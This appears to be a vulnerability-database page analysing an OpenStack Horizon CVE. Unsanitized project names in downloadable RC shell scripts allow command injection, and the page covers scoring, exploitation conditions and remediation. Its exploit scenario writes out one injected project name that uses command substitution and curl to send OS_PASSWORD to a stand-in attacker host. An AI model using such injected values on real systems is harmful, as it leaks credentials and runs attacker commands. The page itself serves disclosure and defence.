OpenStack Horizon
CVE-2026-55748
MEDIUM
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker gains project admin rights
-
DeliveryCraft project name with shell metacharacters
-
ExploitVictim downloads RC file from Horizon
-
ExecutionVictim sources RC file in local shell
-
PersistMetacharacters trigger OS command execution
-
ImpactLocal credential or environment compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific conditions to all be true simultaneously: (1) the attacker must possess OpenStack project creation or project rename privileges - a high-privilege role (PR:H per CVSS) such as cloud admin or a delegated project admin - in order to set a malicious project name containing shell metacharacters; (2) a victim user must subsequently navigate to Horizon, select that specific project, and download the OpenStack RC file for it; and (3) the victim must execute (source) the RC file in a POSIX-compatible shell session. Exploitation is limited by: the requirement for high attacker privileges (not an unauthenticated or low-privilege attack), mandatory victim interaction (the victim must actively download and source the file), the High attack complexity reflecting this multi-step chain, and the fact that impact is scoped to the victim's local shell session rather than the cloud control plane. Non-default in the sense that project names containing shell metacharacters represent an unusual (though not prevented) configuration prior to the fix. |
| Impact | The CVSS 3.1 base score of 6.0 with vector AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L correctly signals moderate-to-medium real-world risk. PR:H (High privileges required) is the most significant limiting factor: exploitation requires the ability to create or rename an OpenStack project with a malicious name, which is typically restricted to cloud administrators. Combined with AC:H and UI:R - meaning a target user must also independently download and execute the RC file - the attack chain has multiple prerequisite steps that must align. EPSS data was not provided, so exploitation probability cannot be quantified. No KEV listing confirms active exploitation, and no POC has been publicly identified. The disputed framing in the CVE description (some parties treating this as a hardening opportunity, not a vulnerability) is consistent with the PR:H restriction: a rogue or compromised admin is needed. For environments with strict admin access controls, real-world risk is low. For multi-tenant clouds where project creation is delegated broadly, risk is meaningfully higher. |
| Exploit ScenarioDerived | An OpenStack administrator (or any user delegated project creation rights) creates a project named something like 'prod$(curl attacker.com/exfil?k=$OS_PASSWORD)' in a multi-tenant cloud. When a developer or operator navigates to that project in Horizon and downloads the RC file for CLI use, Horizon generates a script containing that unsanitized name. The moment the victim runs 'source openrc.sh' in their terminal, the embedded command substitution executes, potentially exfiltrating credentials or executing attacker-controlled payloads in the victim's local environment. No public POC has been identified, but the CWE-78 class is trivially exploitable once preconditions are met. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 17, 2026
OpenStack Horizon before 25.7.4 embeds project names unsanitized into generated OpenStack RC shell scripts, enabling OS command injection when a victim user downloads and sources that script locally. An attacker with sufficient privileges to create or control a project name can insert shell metacharacters (e.g., backtick sequences, command substitution syntax) that execute arbitrary commands in the victim's local shell environment upon RC file execution. No public exploit code or CISA KEV listing exists at time of analysis, though the underlying CWE-78 class is well-understood; notably, the OpenStack project itself characterizes this as a security hardening opportunity rather than a traditional vulnerability, reflecting a disputed severity framing.
RemediationAI
The primary remediation is to upgrade OpenStack Horizon to version 25.7.4 or later, which addresses the unsanitized embedding of project names in RC script generation. Refer to https://wiki.openstack.org/wiki/OSSN/OSSN-0097 for the official advisory. As a compensating control where immediate upgrade is not feasible, administrators should enforce project naming policies that prohibit shell metacharacters (backticks, dollar signs followed by parentheses, semicolons, newlines) through input validation at the project creation layer or via OpenStack policy rules. Trade-off: naming restrictions may inconvenience tenants with existing nonstandard project names and may require renaming projects before RC file use. Additionally, operators can instruct users to inspect downloaded RC files before sourcing them and to treat them as untrusted shell scripts - a defense that reduces but does not eliminate risk since most users will not audit these files routinely.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenStack Horizon is the official web-based dashboard for managing OpenStack cloud infrastructure, identified by CPE cpe:2.3:a:openstack:horizon:*:*:*:*:*:*:*:*. A key Horizon feature allows users to download OpenStack RC files - shell scripts that set environment variables (OS_PROJECT_NAME, OS_AUTH_URL, credentials, etc.) for use with the OpenStack CLI. These RC files are intended to be sourced in a user's shell (e.g., 'source openrc.sh'). The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command, i.e., OS Command Injection): Horizon fails to sanitize or quote project names before embedding them into the generated shell script. Shell metacharacters such as backticks (...), command substitution ($(...)), semicolons, or newlines in a project name thus become executable shell code when the RC file is processed by a POSIX shell.
Know when Openstack gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
PR:H because project creation requires elevated admin rights; AC:H for the multi-step chain requiring crafted name plus victim execution; UI:R mandatory for victim to source the file.
Primary rating from Vendor (mitre).
CVSS VectorNVD
Lifecycle Timeline
1DescriptionNVD
OpenStack Horizon before 25.7.4 produces scripts for OpenStack RC file downloading that may have a crafted project name with shell metacharacters. NOTE: some parties consider this a security hardening opportunity to address certain types of user error, not a vulnerability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)NVD
Oracle MySQL through 5.5.52, 5.6.x through 5.6.33, and 5.7.x through 5.7.15; MariaDB before 5.5.51, 10.0.x before 10.0.2
Eval injection vulnerability in the create method in the Bookmarks controller in Foreman before 1.2.0-RC2 allows remote
The create method in app/controllers/users_controller.rb in Foreman before 1.2.0-RC2 allows remote authenticated users w
Systems with microprocessors utilizing speculative execution and speculative execution of memory reads before the addres
The Floppy Disk Controller (FDC) in QEMU, as used in Xen 4.5.x and earlier and KVM, allows local guest users to cause a
Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,
The IPTables firewall in OpenStack Neutron before 7.0.4 and 8.0.0 through 8.1.0 allows remote attackers to bypass an int
An issue in OpenStack magnum yoga-eom version allows a remote attacker to execute arbitrary code via the cert_manager.py
An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4
glibc contains a vulnerability that allows specially crafted LD_LIBRARY_PATH values to manipulate the heap/stack, causin
Buffer overflow in the pcnet_receive function in hw/net/pcnet.c in QEMU, when a guest NIC has a larger MTU, allows remot
Code injection in OpenStack Vitrage query parser allows authenticated users to execute arbitrary Python code through cra
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB